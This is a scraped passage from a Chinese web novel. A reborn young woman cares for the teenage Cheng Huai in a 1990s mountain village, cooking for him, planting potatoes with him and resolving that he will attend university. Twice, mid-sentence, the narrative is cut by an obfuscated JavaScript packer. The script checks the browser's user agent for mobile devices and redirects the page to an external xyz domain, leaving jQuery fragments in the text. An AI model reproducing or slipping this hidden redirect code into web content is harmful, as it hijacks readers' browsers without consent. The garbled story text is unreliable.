她还在桌上摆了一个小陶罐,插上几枝野花;墙角放了个新的结实的木架子,用来放书和衣物。 黎朝朝退后一步,看着这一切,心里才稍稍安定。打扫完程淮的屋子,她又继续打扫其他房间,打开窗户透气,把该换的换掉,该扔的扔掉。 三天后,整个房子已焕然一新。 转眼到了周五,程淮放假了。 这一天,黎朝朝早早起床准备,把肉和菜准备好,等程淮回来,给他做一顿好的补补身子。 —— 程淮背着书包,沿着山路一步步往村里走。 天色已经全黑,山风吹过,只有阵阵虫鸣伴随脚步。 以往这个时候,他总是一个人走在山间的小路上,习惯了黑暗与冷清,他想,这一次回去,至少没有了王丽,今天赶路累了,面对冷锅冷灶,还是先睡一觉明天再打扫屋子。 走到村口时,他下意识抬头,脚步却猛地一顿。 昏黄的月光下,有一束白亮的光晃了晃,黎朝朝正站在那里,侧身焦急地望向山道的方向,光线照亮她的脸庞,浮现出她眼底的焦急不安。 程淮怔住了,心里涌上一股陌生的情绪。 他向来冷漠寡言,习惯了将世界隔绝在外,从不觉得有人会在意自己的晚归,更不觉得会有人愿意冒着寒风等在黑暗的村口。 可眼下,却有一个人站在那里等自己,为自己照亮了一束回家的光。 他不知道该说什么,只觉得心口似乎被什么撞了一下,酸涩,又带着一丝无法言说的暖意。 他低着头快步走过去。 “程淮,你今天怎么这么晚才回来?”黎朝朝差点就要下山去找他了,以为他旧伤复发,晕在半路上了。 “今日放学晚,车晚点了。”程淮道。 “那就行,吓死个人,我以为你怎么了,好了,没事就成,走,回去吧。” 走在路上,黎朝朝心想怎么跟程淮说,自己要搬过来跟他一起住,会不会觉得突兀,所以她支支吾吾了半天:“呃......就是吧......” 程淮以为她有话说,停下来,认真看着她,等她把话说完。 在程淮的注视下,黎朝朝编了理由:“咱俩是亲戚,反正你现在一个人住了,我呢,一个人在上面住不安全,黑灯瞎火的,刚好你又生病了,所以我想着......想着......” 程淮明白了她的意思:“如果你不嫌弃这个房子破的话,那你可以搬过来跟我一起住,反正我如今也是一个人,这里的房间还是很多的。” 黎朝朝听到程淮主动开口邀约,也就顺势答应下来:“行吧,既然你邀请我,那我就不客气了,我这个人很有预见性,我早就知道你需要我,所以我已经提前把东西搬过来了,希望你不要介意。” 程淮无声笑了。 夜色已经很深,两人走到家,程淮推开院门,发现院子里和从前不一样了,杂草被清理干净,柴火码得整整齐齐,连石板路都被水冲洗得发亮。 “先去洗手等一下,我去把饭菜热一热,马上吃饭。” 他下意识抿了抿唇,进屋时,客厅亮着暖黄的灯,干净整齐得让他一瞬间有些恍惚。桌椅擦得发亮,角落里连一丝灰尘都没有,像是……从未属于过他的世界。 厨房里,锅碗相碰的声音传来。黎朝朝系着围裙,在灶台前忙碌着。 热油滋滋作响,蒸汽升起,带着诱人的香气慢慢飘进屋子。 程淮站在门口,指尖微微蜷紧,相同的房子,却有不一样的场景,和不一样的感觉。 饭菜热好端上桌时,木桌上已经摆得满满当当:一大盘清蒸鱼,汤汁鲜美;红烧排骨色泽油亮;炖得酥烂的鸡肉冒着热气;还有清爽的青菜、软糯的山药。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549336|186755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 热气氤氲,香味扑面而来。 程淮一愣,他很久没见过这样丰盛的饭菜。 黎朝朝先给他夹了一块鸡肉,热情道:“快,快,快,多吃点,今天我做了很多菜,吃不完浪费了,现在天气热,过不了夜,所以,咱今天努力干饱。” 程淮开始闷头吃饭。 她又夹了一块鱼肉放进他碗里,笑嘻嘻道:“你吃鱼,补充蛋白质,专门给你买的补身子的,你伤口需要营养恢复。” 不管她夹什么菜,程淮都能吃,她干脆一口气把排骨、青菜、山药全都往他碗里夹。碗里一下子堆得满满当当,几乎要溢出来。 “真乖,全部都吃完哈,我已经买好了消食山楂,吃撑了咱俩去吃点,晚上不用担心睡不着觉。”她笑嘻嘻看着他。 程淮拿着筷子,喉结滚动了一下:“别光给我夹菜,你也吃。” 黎朝朝收回笑容,自己也动了筷子。可不管她夹多少到自己碗里,下一瞬,筷子还是会不由自主地伸向他的碗。 黎朝朝实在是忍不住啊,她在心中感慨,十七岁的程淮真的是太......太好养了,又乖又听话!! 整个饭桌上程淮没有太多话,大多数时候是黎朝朝在絮絮叨叨,提醒程淮吃这个吃那个,以及碗筷相碰的声音。 他低头默默吃着,没说一句话,可心里却有什么东西悄悄发芽了。 “对了,老房子的地契我替你拿过来了,放在你的屋里。”黎朝朝忽然想起来,跟程淮说了一声。 程淮抬起头,震惊地看着黎朝朝。 她不好意思地笑了笑:“小事,不必谢我。” 吃过饭,他主动刷了碗,等黎朝朝也回屋后,他推开自己屋门时,再一次愣住了。 屋子已被收拾干净,灰尘不见了,角落的湿气被驱散,窗子透出月色清明。床上的被褥早已换了新的,厚实整洁,还带着淡淡的阳光味。 他静静站在门口,眸色深沉,心底翻涌着复杂的情绪,默默走进去,将书包放在书桌边。 程淮一向冷漠,不习惯表达,更不会轻易让人看出心思。可这一刻,他真的很想冲出去,对着黎朝朝说一声谢谢,谢谢她把他救出来,谢谢她在村口等他,更谢谢她对自己的用心,让他感受到前所未有的温暖。 尽管他内心有一种强烈的感觉,但他始终没有出去说这些感谢的话,因为在他的世界里,言语从来都是苍白的无力的,不管说再多都没有用,唯一有用的,是行动,是以后他对她的报答的行动。 虽然程淮很确定自己以后要如何报答黎朝朝,但是他内心还有一种深深的担忧之感,夜深了,他一直没睡,因为他很怕这是一场梦,睡醒后,一切都是假的。 20.发光 天光破晓,山风微拂。 薄薄的雾气还没完全散尽,远处的山脊被阳光镀了一层淡金色,十分好看。 黎朝朝被屋外哗啦啦的水声吵醒,揉着眼睛从被窝里钻出来,一脚踩在还带着凉意的地板上,哈欠连天。 她闻到灶台上冒着一股子饭菜香,推开门,看到程淮已经把水缸装得满满当当,正弯腰把最后一桶水稳稳倒进去,动作干净利落, 黎朝朝眯着眼,伸手遮了遮阳光,笑嘻嘻开口:“哟,少年,这大清早就开始干活,你很勤快嘛!” 程淮看了看她,又瞟了一眼天边的日头:“嗯……大清早忙活。” 黎朝朝心有些虚,前世自己因为工作原因,作息颠三倒四,又加上城市作息快,所以失眠问题十分严重,自从来到了九十年代的山里,她困意十足,想把之前没有睡够的觉全都补回来,所以每每都是日晒三竿才起来。 本来想起来给程淮做个早饭,结果昨天晚上看话本子又给睡晚了。 黎朝朝脸上挂不住,只能开口转移话题:“我闻着很香,吃什么?” 程淮看着黎朝朝光脚踩在地上,抿嘴道:“我煮了点粥,还有蒸了点馒头和包子,你先去穿鞋洗漱,山里早上凉,会感冒!” 黎朝朝笑得眯了眯眼睛,这小子知道关心人了:“好!” 在吃饭时,黎朝朝边吃馒头边跟程淮说:“我是这样想的,你们家院子旁边有很多空地,空着也是空着,咱自己种点爱吃的菜,这样比较方便,主要是你们这里买菜太远了。” 确实远,买一趟菜,要下山来回好几个小时,就算前世自己小时候家里也贫困,但是住在马路边,去镇上买菜非常方便,哪像这里,买个菜要走十万八千里,像去西天取经一样,尤其是山路坑坑洼洼不好走。 其实,这些都还好,主要是黎朝朝很怕蛇,天气逐渐热起来了,到时候路上肯定有蛇之类的,被咬一口恐怕会直接原地升天了。 程淮没有抬头,喝了一口粥问她:“好,你想种些什么?我去镇上买种子。” “现在的季节,适合播种哪些种子呢?”黎朝朝确实不太清楚。 “土豆,菠菜,生菜,胡萝卜,四季豆,黄瓜,茄子都可以。” 黎朝朝想了想:“嗯......都是我爱吃的菜,都种吧!你爱吃啥,也买些你爱吃的?” 程淮说:“都可以,我不挑食。” 黎朝朝趁着程淮洗碗的功夫,偷偷往程淮的外套里塞了两百元大钞,还塞了一张小纸条。 程淮在路途中,无意间摸到外套里有东西,拿出来一看是钱跟纸条,上面写着:“以后咱就是一家人了,这是咱家这一个月的生活费,你来管钱,你自己看着办吧!” 程淮心中笑了笑,哪家的大人会这么大手大脚,这两百够几个月的生活费了。 其实黎朝朝是想跟他一起去的,但是自己最近偶尔头晕,身子实在是有些不舒服,加上昨天熬夜,吃完后程淮不让她跟着下山,所以她又回去继续睡觉了。 下午一点,程淮就从镇上回来了,还来不及喝口水,就出门去锄地播种了。 黎朝朝的本意是自己现在毕竟作为大人,应该去撑起这个家,所以自告奋勇去帮他。 三月的山里,泥土刚回了暖,空气里带着湿润的清香。程淮把地翻好,土块打碎,整成了一畦畦整齐的地垄。 她一脸兴奋,也拿起一把锄头想帮忙。可才刨两下,锄头不是卡住拔不出来,就是甩得东倒西歪,差点磕到自己脚。 程淮叹了口气,把锄头接过来:“你去坐会儿吧,我来。” “哪能你一个人做完全部,我可以做些其他的。”黎朝朝坚持不松手。 程淮没再多说,只把竹篮放到她面前,篮子里装着切好的种薯块,每块上都留着一两个饱满的芽眼,表皮晾得微微发干。 程淮指了指地垄里刚开出来的沟:“那你把种薯放进去,每隔二三十厘米放一块,芽眼朝上。轻点,别压坏了。” 黎朝朝蹲下来,小心翼翼地把一块块种薯摆好。偶尔手忙脚乱,芽眼朝下了,程淮便伸手帮她翻过来,再顺手撒上一层草木灰防病。 “就这样?”黎朝朝惊讶不已,说来惭愧,从小,她其实只放过羊跟牛,没有做过其他农活。 “嗯。”程淮低头挥锄,干脆利落地把覆土培上,盖得不厚不薄。随后又把垄面轻轻压实,“太松了水分跑得快,不好发芽。” 等一垄种完,程淮拿起水桶,顺着垄沟浇了一遍水:“头水要浇透,后面等出苗再看天时。” 黎朝朝蹲在地头,看着自己放下去的一排排土豆块被掩埋在泥土下,心里有种奇妙的满足感。 黎朝朝抬起头,偶然发现站在阳光下的程淮,是那样的好看。田间的风带着泥土轻拂过他年轻的脸庞,但又与同龄人不一样,他那一双眼深邃得如山间的泉水,清冷凛冽间藏着坚韧不屈。 阳光洒在他肩头,映出细微的汗光,整个人仿佛在光与尘之间生出一种难以忽视的魅力——不是张扬的俊朗,而是一种沉静而克制的力量。 你能看出他吃过苦,懂得隐忍,却也正因如此,那份安静的坚毅更令人心动。 黎朝朝看呆了,她不自觉喊他:“程淮!” “嗯?”程淮侧过头,看着她。 “你在发光诶?”黎朝朝嘿嘿一笑。 “......” —— 傍晚时分,山里的风已经凉下来,天边还挂着一抹晚霞。 两人从地里回来,鞋底都沾着泥,黎朝朝甩了甩酸胀的胳膊,朝着厨房走去,道:“饿了吧?你去洗漱一下,我去做饭,中午还有粥,就只炒两个菜,很快就好。” 程淮伸手拦住她的去路:“你先去洗漱,我来做饭。” 黎朝朝愣了一下,心口忽然暖得发酸。 “行,那我先去洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551724|186755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个澡换身衣服,再来接你的班。”她笑着点点头,转身朝着屋内走去。 程淮也进屋先换了衣服,简单洗漱后,立马着手洗菜切菜。 黎朝朝洗漱一番后,推开木门走出来时,厨房里正冒着氤氲的热气。 只见程淮站在案板前,袖子挽得整整齐齐,正低头切酸菜和肉片。刀起刀落,节奏稳健,灶台上另一口锅里正咕嘟咕嘟地冒着热气,稀粥正翻滚着,带着米香往外溢。 程淮神情专注,动作干净利落,他一手握着锅铲,把切好的肉下锅翻炒,热油“滋啦”一声炸开,烟火气瞬间弥漫整个屋子。 黎朝朝倚在门框边,忍不住弯了弯唇角,心里涌上一股说不出的安心。她本来是想来帮忙的,可看着眼前这一幕,却忽然什么也不想做了,只想安安静静地看着他。 终于,饭菜出锅后,黎朝朝上前帮忙端菜,这一顿饭,两人都吃得很饱。 吃过晚饭后,黎朝朝搬了条小板凳,坐在院子里乘凉,仰头看天,月亮静静地挂在山头,星子点点,空气里透着淡淡的草木香。 她百无聊赖地扇着蒲扇,视线不经意间透过半掩的窗子,落在屋里。只见程淮正坐在桌前,暖黄色的灯映着他的侧脸,眉眼被灯火勾勒得格外清晰,他身体微微前倾,手里握着笔,神情专注而安静。 黎朝朝忍不住笑了笑,还好自己给他屋里装上了明亮些的灯,不然程淮晚上用功会伤眼睛,看着认真的程淮,黎朝朝轻声自语:“不愧是你程淮。” 想到这里,黎朝朝想起前世的他。那时候,他没能上大学,却能在讲座上,将知识讲得生动透彻,旁征博引。 那时候他应该不记得自己,但她喜欢了他很久,听完他的讲座后,就作为观众发言,好奇地问过他:“您是不是特别喜欢读书?” 记忆中,三十几岁的程淮眉眼温润,唇角含笑:“是啊,喜欢。书里不只是知识,还有希望,还有无数未知的世界。每翻过一页,心里就亮了一点,仿佛能看到另一种人生。” 后来,黎朝朝去问过程淮的合伙人:“为什么程淮不继续读大学呢?” 那个合伙人好像这样回她的:“这个世界上有一种东西叫做命运,那时候程总家里贫穷,只有他一个人,要为生计奔波忙碌,每日生存都成问题,哪里有钱去读大学,后来有钱了,程总觉得过了这个年纪了,就不想去了,因为遗憾,所以才捐了这么多钱给大学,希望那些没有钱的孩子,也能不被命运桎梏,冲破命运的枷锁,通过读大学享受自己该有的青春样子。” 那一刻,她才第一次明白,原来少年老成的他,心中也有遗憾,遗憾年轻的自己,与大学失之交臂。 黎朝朝轻轻握住自己的拳,暗暗告诉自己,上一世,因为程淮的资助,自己读了本科,还读了研究生,那么这一世,也一定要让程淮去读大学,让他不要再进入顾氏集团工作,避开跟顾峰的误会,也许就能避开后来的一切悲剧了吧。